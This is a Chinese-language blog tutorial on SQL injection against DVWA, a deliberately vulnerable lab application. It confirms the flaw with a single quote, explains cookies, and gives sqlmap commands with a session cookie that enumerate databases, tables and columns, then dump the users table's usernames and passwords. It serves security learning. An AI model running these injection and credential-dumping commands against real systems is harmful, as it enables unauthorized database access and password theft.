对DVWA进行sql注入

1.判断是否有注入漏洞

打开DVWA,在SQL注入中输入1,返回正常。
在这里插入图片描述
输入1’,报错,返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1
说明此处存在注入漏洞

2.获取cookie信息

审查元素,选择network,里面发现Cookie信息。
Q:cookie是什么?

  1. 定义
    cookie是由服务器发送给客户端(浏览器)的小量信息

  2. 作用
    cookie是键值对形式存储的少量信息,那它有什么作用呢?
    我们知道,平时上网时都是使用无状态的HTTP协议传输出数据,这意味着客户端与服务端在数据传送完成后就会中断连接。这时我们就需要一个一直保持会话连接的机制。在session出现前,cookie就完全充当了这种角色。也就是,cookie的小量信息能帮助我们跟踪会话。一般该信息记录用户身份。
    Cookie可以保持登录信息到用户下次与服务器的会话,换句话说,下次访问同一网站时,用户会发现不必输入用户名和密码就已经登录了。

当使用sqlmap注入时带上cookie,将会获得更多信息。

在这里插入图片描述

3.sqlmap尝试注入

sqlmap -u + URL + cookie

sqlmap -u “http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=q8tdqvlpdagbbldrvh7bgvvb00”

在这里插入图片描述
得到数据库类型版本(MySQL),服务器类型版本(Apache,PHP)

4.使用–dbs获取其所有的数据库

sqlmap -u “http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=q8tdqvlpdagbbldrvh7bgvvb00” -dbs
在这里插入图片描述

5.使用-D xxx指定查看的数据库,用–tables查看该数据库的所有表

sqlmap -u “http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=q8tdqvlpdagbbldrvh7bgvvb00” --dbs -D dvwa --tables

在这里插入图片描述

6.使用-D xxx -T ttt指定查看的表,用–columns查看表的列

sqlmap -u “http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=q8tdqvlpdagbbldrvh7bgvvb00” --dbs -D dvwa -T users --columns
在这里插入图片描述

7.获取密码

sqlmap -u “http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=q8tdqvlpdagbbldrvh7bgvvb00” --dbs -D dvwa -T users -C user,password,user_id --dump

-D dvwa数据库
-T users表
-C user,password,user_id 查看这三列的值
-dump 输出CSV文件并存放到某个路径中

在这里插入图片描述
完成

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值